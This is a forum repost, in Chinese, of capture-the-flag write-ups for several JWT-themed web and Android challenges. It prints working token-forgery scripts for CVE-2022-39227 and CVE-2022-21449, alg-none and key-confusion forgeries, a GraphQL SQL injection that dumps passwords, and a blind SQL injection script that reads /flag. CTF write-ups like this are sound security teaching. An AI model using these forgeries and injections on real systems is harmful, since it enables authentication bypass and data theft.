安全矩阵

 找回密码
 立即注册
搜索
查看: 517|回复: 0

JWT相关题目刷题

[复制链接]

251

主题

270

帖子

1783

积分

金牌会员

Rank: 6Rank: 6

积分
1783
发表于 2023-1-11 19:15:06 | 显示全部楼层 |阅读模式
本帖最后由 Meng0f 于 2023-1-11 19:18 编辑

转载于: tale Tide安全团队 2023-01-11 17:03 发表于山东
JWT相关题目刷题

FunWEB

打开题目为登录界面

注册账号后可登录

查看cookie信息后猜测为jwt 利用CVE-2022-39227令牌伪造漏洞生成可用token 漏洞脚本参考链接 https://github.com/davedoesdev/python-jwt/blob/master/test/vulnerability_vows.py
  1. <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;">from datetime import timedelta</span>
  2. <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;">from json import loads, dumps</span>
  3. <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;">from jwcrypto.common import base64url_decode, base64url_encode</span>
  4. <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;"><span cm-text="" style="box-sizing: border-box;">​</span></span>
  5. <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;">def topic(topic):</span>
  6. <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;">    """ Use mix of JSON and compact format to insert forged claims including long expiration """</span>
  7. <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;">    [header, payload, signature] = topic.split('.')</span>
  8. <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;">    parsed_payload = loads(base64url_decode(payload))</span>
  9. <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;">    parsed_payload['is_admin'] = 1</span>
  10. <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;">    parsed_payload['exp'] = 2000000000</span>
  11. <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;">    fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':'))))</span>
  12. <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;">    return '{"  ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}'</span>
  13. <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;">token = topic('eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2NjcxMzcwMzAsImlhdCI6MTY2NzEzNjczMCwiaXNfYWRtaW4iOjAsImlzX2xvZ2luIjoxLCJqdGkiOiJ4YWxlR2dadl9BbDBRd1ZLLUgxb0p3IiwibmJmIjoxNjY3MTM2NzMwLCJwYXNzd29yZCI6IjEyMyIsInVzZXJuYW1lIjoiMTIzIn0.YnE5tK1noCJjultwUN0L1nwT8RnaU0XjYi5iio2EgbY7HtGNkSy_pOsnRl37Y5RJvdfdfWTDCzDdiz2B6Ehb1st5Fa35p2d99wzH4GzqfWfH5zfFer0HkQ3mIPnLi_9zFiZ4mQCOLJO9RBL4lD5zHVTJxEDrESlbaAbVOMqPRBf0Z8mon1PjP8UIBfDd4RDlIl9wthO-NlNaAUp45woswLe9YfRAQxN47qrLPje7qNnHVJczvvxR4-zlW0W7ahmYwODfS-KFp8AC80xgMCnrCbSR0_Iy1nsiCEO8w2y3BEcqvflOOVt_lazJv34M5e28q0czbLXAETSzpvW4lVSr7g')</span>
  14. <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;">print(token)</span>
复制代码

生成token
  1. eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2NjcxMDc2NTgsImlhdCI6MTY2NzEwNzM1OCwiaXNfYWRtaW4iOjEsImlzX2xvZ2luIjoxLCJqdGkiOiJ1aTVrcDdGMmJNMGYwYXY2cVpSRTJ3IiwibmJmIjoxNjY3MTA3MzU4LCJwYXNzd29yZCI6ImEiLCJ1c2VybmFtZSI6ImEiLCJzdWIiOiJib2IifQ.a-ALRvRlYuUfThbfYfHuUqlH75vv-LynOZBxeUc_XbIKwNrEFk3aa2xr1HfdfwFFiKKZ75yVnWY8KBH-RHQdmj7igHMDPqgwDiM5qi7fkLwyVX36cRyj79NQiiMAmyVAlrC4BaIA8EblhS1BvKecNgf1kGf6Ujyg9NtJfx6cSTbr0u-hdZ6vVH7AA_9W_-vMxBE-H10oquc4j4WRIGaossZByZp6Fy5NpPqUD9t3jZsPNU4CugHR947b0sVWJ964uaXAe8IJTGA8S6hM5NirbHDEr0qboE4dCNnV-pmbs7ENpNhfI9eTMDE6Xm0mGO94sChHicBY4pEvW7NYX23yPQ
复制代码

然后用该token访问 /getflag
提示只有正确的密码才能读取flag,然后点击查看成绩, 发现是graphql查询
使用getscoreusingid
然后尝试发现id不能直接注入,然后尝试使用getscoreusingname
根据提示改成getscoreusingnamehahaha
使用union进行注入,发现为sqlite数据库, 在sqlite_master表中查到表名为users, 猜字段为password
  1. { getscoreusingnamehahaha(name: "1' union select group_concat(password) from users --"){ name score } }
复制代码

使用admin的账号和密码去登录, 访问/getflag即可获取flag

Anmic

运行该APP发现需要输入账号和密码 使用jadx查看代码,发现账号为admin 密码是admin的md5的8到24位,为7a57a5a743894a0e
登录成功得到加密图⽚和下⼀步提示:查看assets 反编译该APP后发现存在加密的flag.zip和dex文件
分析dex⽂件,得到加密后的图⽚所在路径 sic/res/drawable/encode.jpg
加密算法是先将图⽚的像素矩阵进⾏⽔平镜像转换, 然后循环将图⽚前⾯的像素点后⾯的像素点RGB按下⾯⽅式对调。
解密脚本:
完成图片如下:
提取字符串
  1. eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIwODA2NyIsImF1ZCI6IkRTVEJQIiwiaWF0IjoxNjY1MTExODg5LjYwMTY5MjQsImhpbnQiOiJUaGUgU2lnbmF0dXJlJ3MgYmFzZTY0IGlzIFppcCdzIFBhc3N3b3JkIiwiZXhwIjoxNjk2NjQ3ODg5LjYwMTY5MjR9.fBPoMQprLZF280c7jazIApJC4m0PX_Cx9_UnNMGZIP0
复制代码

解密后提示密钥的base64是压缩包密码,⽤c-jwt-cracker-master爆破出密码。 W1lm
base64编码:VzFsbQ== 使用该密码解压flag.zip 得到一个flag图片和一个class文件
根据提示,查看该图片详细信息发现base编码的anBocw== 解出为jphs
然后分析pwEncode.class文件,发现为维吉尼亚密码算法,其中密钥为mllw 密文为pdexbdlueesabldoizczudmlfdo
也可以写脚本进行爆破
  1. <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;">import string</span>
  2. <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;"><span cm-text="" style="box-sizing: border-box;">​</span></span>
  3. <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;">def _enc(c,index):</span>
  4. <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;">    key = 'mllw'</span>
  5. <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;">    if c.isupper():</span>
  6. <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;">        return chr((ord(c)+ord(key[index%4].upper())-130)%26+65)</span>
  7. <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;">    else:</span>
  8. <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;">        return chr((ord(c)+ord(key[index%4].lower())-194)%26+97)</span>
  9. <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;">        </span>
  10. <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;">enc = 'pdexbdlueesabldoizczudmlfdo'</span>
  11. <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;">table = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'</span>
  12. <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;">res = ''</span>
  13. <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;">for i in range(len(enc)):</span>
  14. <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;">    for j in table:</span>
  15. <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;">        if _enc(j,i) == enc[i]:</span>
  16. <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;">            res+=j</span>
  17. <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;">print(enc)</span>
复制代码

解密为dstbpsaysthepasswordisbptsd 用jphs来解,密码为:bptsd 成功获取flag

myJWT

下载源码,发现ECDSA以及JWT相关的算法

通过搜索ECDSA算法漏洞发现CVE-2022-21449 查看该漏洞描述,发现java的ECDSA算法中在取出sig中的r和s之后,并没有对r和s的范围进行校验,而且在拿到点p1之后也没有校验是否为无穷远点,从而可以利用(0,0)签名来绕过签名的验证。然后连接靶机nc 427.104.76.78 23334 输入用户名后获取token

生成token如下:

  1. eyJ0eXAiOiJKV1QiLCJhbGciOiJteUVTIn0=.eyJpc3MiOiJxd2IiLCJuYW1lIjoiQUFBIiwiYWRtaW4iOmZ hbHNlLCJleHAiOjE2NTkyNjYzMDY0MzN9.UizgMNJBMNy0T2eUc-GuYKMRBzDTrH2- faB7v06bfv2qbySyDHrXGVFPTJA2wIOZGXovwr-7XzIOTSIk-USTj9bl4HkLCKOVwckxCk0bGgzPX8Sz3r-f82Rv4wBkn9x5
复制代码


根据CVE-2022-21449漏洞特性,拿到token,拿到之后对token进行伪造,将第二段中"admin": false改为true

  1. eyJpc3MiOiJxd2IiLCJuYW1lIjoiQUFBIiwiYWRtaW4iOmZ hbHNlLCJleHAiOjE2NTkyNjYzMDY0MzN9
复制代码


第三段使用\x00填充,构建payload如下

  1. <pre spellcheck="false" class="md-fences md-end-block ty-contain-cm modeLoaded" lang="" cid="n955" mdtype="fences" style="box-sizing: border-box; overflow: visible; font-family: var(--monospace); font-size: 0.9em; break-inside: avoid; white-space: normal; background-image: inherit; background-position: inherit; background-size: inherit; background-repeat: inherit; background-attachment: inherit; background-origin: inherit; background-clip: inherit; background-color: rgb(248, 248, 248); border: 1px solid rgb(231, 234, 237); border-radius: 3px; padding: 8px 4px 6px; margin-bottom: 15px; margin-top: 15px; width: inherit; color: rgb(51, 51, 51); position: relative !important;"><span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;">eyJ0eXAiOiJKV1QiLCJhbGciOiJteUVTIn0=.eyJpc3MiOiJxd2IiLCJuYW1lIjoiQUFBIiwiYWRtaW4iOnRydWllLCJleHAiOjE2NTkyNjYzMDY0MzN9.00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000</span></pre><p cid="n956" mdtype="paragraph" class="md-end-block md-p" style="box-sizing: border-box; line-height: inherit; orphans: 4; margin-top: 0.8em; margin-bottom: 0.8em; white-space: pre-wrap; position: relative; color: rgb(51, 51, 51); font-family: " open="" sans",="" "clear="" "helvetica="" neue",="" helvetica,="" arial,="" sans-serif;="" font-size:="" 16px;"=""></p>
复制代码

然后选择????????2发送payload????????????????即可获取flag
js_on

打开发现靶机页面

使用admin/admin登录发现获取到相关信息


然后通过注册账号对比不同


然后查看cookie发现token字段,且为JWT格式,说明该系统通过JWT来标识用户,联想到页面上显示的key值为JWT的token


通过页面对当前用户进行了判断,从而决定页面输出内容,因此猜测user字段存在sql注入漏洞。https://jwt.io/#debugger 右下角填入secret(即页面上回显的key值),此处user参数肯定为字符型,开始构造攻击语句,左边获取对应JWT。


将构造好的token替换发包 攻击payload1:

  1. {
  2. “user”: “admin’//and//1=2#”,
  3. “news”: “key:xRtYMDqyCCxYxi9a@LgcGpnmM2X8i&6"
  4. }
复制代码


攻击payload2:
  1. {
  2. “user”: “admin’//and//1=1#”,
  3. “news”: "key:xRtYMDqyCCxYxi9a@LgcGpnmM2X8i&6”
  4. }
复制代码


发现两个页面不同的响应,从而确认此处存在sql注入漏洞。构造攻击代码:“user”: "aa’-- “和"user”: "'select"获取对应JWT,发送请求包发现回包存在“Get Out Hacker!!!”字样,说明后端有做攻击检测。结合之前回包的“这里是你的信息:???Why there is No Message for you?” 通过substr+loadfile函数,获取/flag文件中内容,构造python利用脚本如下:
  1. import jwt
  2. import requests

  3. url = 'http://xxx.changame.ichunqiu.com/'
  4. data = ''
  5. dict = '0123456789abcdeflg-{}'
  6. for i in range(1, 60):
  7.     for j in dict:
  8.         encoded_jwt = jwt.encode({"user":"admin'/**/and/**/load_file('/flag')/**/regexp/**/'^" + data + j + "'#","news":"key:xRt*YMDqyCCxYxi9a@LgcGpnmM2X8i&6"},'xRt*YMDqyCCxYxi9a@LgcGpnmM2X8i&6',headers={"alg":"HS256","typ":"jwt"})
  9.         cookies = {
  10.             'UM_distinctid':'',
  11.             'Hm_lvt_2d0601bd28de7d49818249cf35d95943':'',
  12.             '__jsluid_h':'',
  13.             'token':encoded_jwt
  14.         }
  15.         try:
  16.             res = requests.get(url=url,cookies=cookies,timeout=3)
  17.             if 'xRt*YMDqyCCxYxi9a@LgcGpnmM2X8i&6' in res.content:
  18.                 data += j
  19.                 print(str(data))
  20.                 break
  21.         except Exception as e:
  22.             print(str(e))
复制代码


web345

访问靶机后查看源代码,发现提示/admin

访问http://5d3ebb3c-9f13-4d9c-954f-fc6735c7496f.challenge.ctf.show/admin 发现burp自动访问了/admin 和 admin/,两者回显不同


base64解密Cookie信息并将user改成admin后生成base64编码


访问即可获取flag

web346

在web345题目的基础上将获取的cookie进行jwt解码

将user改成admin,密钥尝试123456

发送获取flag

web347

和web346类似,使用脚本爆破密钥

  1. import time
  2. import jwt

  3. # payload
  4. token_dict = {
  5.   "iss": "admin",
  6.   "iat": 1610432484,
  7.   "exp": 1610439684,
  8.   "nbf": 1610432484,
  9.   "sub": "admin",
  10.   "jti": "efec0205f601a537847ee2dd3ffa81ff"
  11. }

  12. # headers
  13. headers = {
  14.   "alg": "none",
  15.   "typ": "JWT"
  16. }

  17. jwt_token = jwt.encode(token_dict,  # payload, 有效载体
  18.                      key='',
  19.                        headers=headers,  # json web token 数据结构包含两部分, payload(有效载体), headers(标头)
  20.                         algorithm="none",  # 指明签名算法方式, 默认也是HS256
  21.                        ).decode('ascii')  # python3 编码后得到 bytes, 再进行解码(指明解码的格式), 得到一个str

  22. print(jwt_token)
复制代码


web348

利用jwt爆破攻击爆破

web349

题目给出app.js文件,发现私钥泄露

访问发现提示500

根据app.js文件提示访问/private.key得到私钥 然后自己本地搭建nodejs,并将私钥放到public目录下
  1. npx express-generator
复制代码

将app.js文件中的user: 'user'改成user: 'admin' 然后替换保存运行npm start。需要安装jsonwebtoken库npm install jsonwebtoken --save并在代码里声明
  1. var fs = require('fs');
  2. var jwt = require('jsonwebtoken');
  3. var express = require('express');
  4. var router = express.Router();

  5. /* GET home page. */
  6. router.get('/', function(req, res, next) {
  7.   res.type('html');
  8.   var privateKey = fs.readFileSync(process.cwd()+'//public//private.key');
  9.   var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'RS256' });
  10.   res.cookie('auth',token);
  11.   res.end('where is flag?');
  12.   
  13. });

  14. router.post('/',function(req,res,next){
  15.     var flag="flag_here";
  16.     res.type('html');
  17.     var auth = req.cookies.auth;
  18.     var cert = fs.readFileSync(process.cwd()+'//public/public.key');  // get public key
  19.     jwt.verify(auth, cert, function(err, decoded) {
  20.       if(decoded.user==='admin'){
  21.        res.end(flag);
  22.       }else{
  23.        res.end('you are not admin');
  24.       }
  25.     });
  26. });
复制代码


然后访问搭建的页面,获取cookie值,使用post提交即可获取flag

web350

题目给出了源码包

通过查看源码发现公钥和私钥都是从routes目录下加载

通过尝试访问/private.key获取失败,访问/public.key成功公钥 因获取到了公钥,猜测为对称加密,所以将RS256改为HS256
  1. <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;">var fs = require('fs');</span>
  2. <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;">var jwt = require('jsonwebtoken');</span>
  3. <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;">var express = require('express');</span>
  4. <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;">var router = express.Router();</span>
  5. <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;"><span cm-text="" style="box-sizing: border-box;">​</span></span>
  6. <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;">/* GET home page. */</span>
  7. <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;">router.get('/', function(req, res, next) {</span>
  8. <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;">  res.type('html');</span>
  9. <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;">  var privateKey = fs.readFileSync(process.cwd()+'//public//private.key');</span>
  10. <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;">  var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'HS256' });</span>
  11. <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;">  res.cookie('auth',token);</span>
  12. <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;">  res.end('where is flag?');</span>
  13. <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;">  </span>
  14. <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;">});</span>
  15. <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;"><span cm-text="" style="box-sizing: border-box;">​</span></span>
  16. <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;">router.post('/',function(req,res,next){</span>
  17. <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;">    var flag="flag_here";</span>
  18. <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;">    res.type('html');</span>
  19. <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;">    var auth = req.cookies.auth;</span>
  20. <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;">    var cert = fs.readFileSync(process.cwd()+'//public/public.key');  // get public key</span>
  21. <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;">    jwt.verify(auth, cert, function(err, decoded) {</span>
  22. <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;">      if(decoded.user==='admin'){</span>
  23. <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;">       res.end(flag);</span>
  24. <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;">      }else{</span>
  25. <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;">       res.end('you are not admin');</span>
  26. <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;">      }</span>
  27. <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;">    });</span>
  28. <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;">});</span>
复制代码

利用该漏洞,访问搭建的页面,获取cookie值,使用post提交即可获取flag


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-6-13 22:44 , Processed in 0.019145 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表